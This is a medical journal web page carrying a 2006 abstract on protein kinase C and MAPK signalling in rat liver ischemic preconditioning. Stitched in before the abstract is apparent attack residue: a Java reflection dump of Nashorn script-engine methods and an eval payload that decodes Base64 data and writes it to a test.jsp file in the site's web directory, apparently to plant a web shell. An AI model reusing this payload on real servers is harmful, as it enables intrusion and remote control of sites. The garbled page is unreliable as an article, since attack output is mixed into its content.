public javax.script.ScriptEngineManager() public javax.script.ScriptEngineManager(java.lang.ClassLoader) public javax.script.ScriptEngineManager() javax.script.ScriptEngineManager@44eb5bdd jdk.nashorn.api.scripting.NashornScriptEngine@6b81dee4 [Ljava.lang.reflect.Method;@1c26a009 public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.lang.String) throws javax.script.ScriptException public javax.script.CompiledScript jdk.nashorn.api.scripting.NashornScriptEngine.compile(java.io.Reader) throws javax.script.ScriptException public javax.script.ScriptEngineFactory jdk.nashorn.api.scripting.NashornScriptEngine.getFactory() public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.lang.String,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.eval(java.io.Reader,javax.script.ScriptContext) throws javax.script.ScriptException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Object,java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.getInterface(java.lang.Class) public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeMethod(java.lang.Object,java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public java.lang.Object jdk.nashorn.api.scripting.NashornScriptEngine.invokeFunction(java.lang.String,java.lang.Object[]) throws javax.script.ScriptException,java.lang.NoSuchMethodException public javax.script.Bindings jdk.nashorn.api.scripting.NashornScriptEngine.createBindings() public java.lang.Object javax.script.AbstractScriptEngine.get(java.lang.String) public void javax.script.AbstractScriptEngine.put(java.lang.String,java.lang.Object) public javax.script.ScriptContext javax.script.AbstractScriptEngine.getContext() public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String,javax.script.Bindings) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.lang.String) throws javax.script.ScriptException public java.lang.Object javax.script.AbstractScriptEngine.eval(java.io.Reader,javax.script.Bindings) throws javax.script.ScriptException public void javax.script.AbstractScriptEngine.setContext(javax.script.ScriptContext) public javax.script.Bindings javax.script.AbstractScriptEngine.getBindings(int) public void javax.script.AbstractScriptEngine.setBindings(javax.script.Bindings,int) public final void java.lang.Object.wait() throws java.lang.InterruptedException public final void java.lang.Object.wait(long,int) throws java.lang.InterruptedException public final native void java.lang.Object.wait(long) throws java.lang.InterruptedException public boolean java.lang.Object.equals(java.lang.Object) public java.lang.String java.lang.Object.toString() public native int java.lang.Object.hashCode() public final native java.lang.Class java.lang.Object.getClass() public final native void java.lang.Object.notify() public final native void java.lang.Object.notifyAll() $f.eval("var B=Java.type('java.util.Base64');var F=Java.type('java.io.FileOutputStream');var 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o=new F('D:/magtech/webs/Jwk34_nfykdxxb/attached/test.jsp');o.write(d);o.close();");

Journal of Southern Medical University ›› 2006, Vol. 26 ›› Issue (08): 1188-.

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Protective effect of protein kinase C and mitogen-activated protein kinases and its mechanism in liver ischemic preconditioning

PAN Ming-xin, ZHANG Yi, LI Ai-hui, GAO Yi Department of General Surgery, Zhujiang Hospital, Southern Medical University, Guangzhou 510282, China   

  1. 南方医科大学珠江医院普通外科； 南方医科大学珠江医院普通外科 广东广州510282； 广东广州510282；
  • Online:2006-08-20 Published:2006-08-20

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Abstract: Objective To investigate the protective effects of protein kinase C (PKC) and mitogen-activated protein kinases (MAPKs) their and mechanisms in liver ischemic preconditioning. Methods In rat models of liver ischemia-reperfusion (IR) and ischemic preconditioning (IP), the liver function was evaluated by examining serum alanine aminotransferase and aspartate aminotransferase levels, and the morphological changes of the liver cells were observed under microscope. PKC activator phorbol 12-myristate 13-acetate(PMA) and inhibitor chelerythrine(CHE), as well as MEK inhibitor PD98059, were utilized to analyze the phosphorylation of PKC and P44/42 MAPKs. Results Compared with the control rats, the liver function was best protected in rats of IP group, but not in those of IP group with PD98059 or CHE treatment. The rats in IR group showed improved liver function after PMA treatment. Similarly, the phorsphorylation of PKC and P44/42 MAPKs was correlated with the liver function, and highly enhanced PKC and P44/42 MAPKs activity was observed in IP and IR+PMA groups, but decreased activity in IR and IP+CHE groups. Conclusion Phosphorylation of PKC and MAPKs plays a pivotal role in the preservation of the hepatocytes during IP. 

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